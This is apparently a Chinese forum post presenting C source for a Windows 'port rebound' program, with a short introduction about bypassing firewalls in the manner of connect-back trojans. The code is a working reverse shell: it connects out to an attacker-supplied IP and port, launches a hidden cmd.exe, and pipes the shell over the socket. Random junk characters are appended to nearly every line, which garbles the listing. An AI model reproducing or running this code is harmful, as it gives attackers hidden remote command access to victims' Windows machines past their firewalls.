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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {]BPSj{B  
7}>Zq`]~  
/* ============================== .0+=#G>  
Rebound port in Windows NT b&BkT%aA(G  
By wind,2006/7 k<(G)7'gm  
===============================*/ JcV'O)&  
#include g?&_5)&  
#include [CxnGeKK  
Gmi ^2?Z(  
#pragma comment(lib,"wsock32.lib") @-ps[b`z  
UVa:~c$U4  
void OutputShell(); G%5bQ|O  
SOCKET sClient; Qf|x]x*5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Sp/t[\,'  
%:Mi6 sR|  
void main(int argc,char **argv) mW EaUi)Zz  
{ 1 1Sflj  
WSADATA stWsaData; E0HXB1"  
int nRet; pV:;!+  
SOCKADDR_IN stSaiClient,stSaiServer; ^#i3JMq  
X% JQ_Z  
if(argc != 3) u*}[fQ`aF  
{ 0APh=Alq  
printf("Useage:\n\rRebound DestIP DestPort\n"); $mgamWNE8w  
return; (B+CI%= D  
} w8veh[%3n  
WX~: Y,l+u  
WSAStartup(MAKEWORD(2,2),&stWsaData); nUb0R~wr$G  
0SS,fs<w3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a9LK}xc={  
C?dQ QB$  
stSaiClient.sin_family = AF_INET; /Uxp5 b h  
stSaiClient.sin_port = htons(0); ~V34j:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  vNWCv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oyw*Z_9~  
{ iEx sGn]2  
printf("Bind Socket Failed!\n"); 4C:-1gu7  
return; 9f=L'{  
} |; [XZ ZZ  
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stSaiServer.sin_family = AF_INET; [KcF0%a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WR|n>i@m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,]Gi942  
78~;j1^6u  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WNnB s  
{ n3z]&J5fr  
printf("Connect Error!"); wn1` 9  
return; 2|a5xTzH  
} rd_!'pG  
OutputShell(); JX)%iJq#  
} {)`tN&\  
MA`.&MA.  
void OutputShell() %VH{bpS|i:  
{ #jqcUno  
char szBuff[1024]; cM?i _m  
SECURITY_ATTRIBUTES stSecurityAttributes; *`]#ntz9  
OSVERSIONINFO stOsversionInfo; 0PP5qeqN2n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /gH[|d  
STARTUPINFO stStartupInfo; "7z1V{ ;Y  
char *szShell; [,a2A  
PROCESS_INFORMATION stProcessInformation; e+~Q58oD  
unsigned long lBytesRead; w}rsboU  
sx^0*h-Qq  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -\|S=< g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^yFtL(x,  
stSecurityAttributes.lpSecurityDescriptor = 0; |& Pa`=sp  
stSecurityAttributes.bInheritHandle = TRUE; o4t6NDa  
A. 5`+  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8! X K[zL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BG9.h!  
I .> SC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^q}cy1"j"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o6ag{Yp  
stStartupInfo.wShowWindow = SW_HIDE; FzzV%  
stStartupInfo.hStdInput = hReadPipe; f&2f8@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !(i}FFn{:  
WNO!6*+  
GetVersionEx(&stOsversionInfo); &UxI62[k  
:vXlni7N[M  
switch(stOsversionInfo.dwPlatformId) 7^FJ+gN8b  
{ o>jM4sk$  
case 1: 0[In5II  
szShell = "command.com"; G?dxLRy.do  
break; ZW@%>_JR]  
default: Iw[7;B5v  
szShell = "cmd.exe"; ?B['8ju  
break; AI,Jy%62/  
} J.Fy0W@+k4  
v[XTH 2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UAEu.AT  
COc t d  
send(sClient,szMsg,77,0); vAcxca">S  
while(1) zEy,aa :M  
{ r WULv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QzilivJf  
if(lBytesRead) f >$V:e([  
{ ;hb_jW-0W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eufGU)M  
send(sClient,szBuff,lBytesRead,0); h/pm$9A  
} d:8c}t2X  
else )%wNVW 0C  
{ T)o>U &KNP  
lBytesRead=recv(sClient,szBuff,1024,0); u3vM!  
if(lBytesRead<=0) break; \'CA:9V}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Bdr'd? u<A  
} <?FkwW\ ?  
} i_f\dkol  
?k$'po*Eq  
return; v%@)I_6[P  
}
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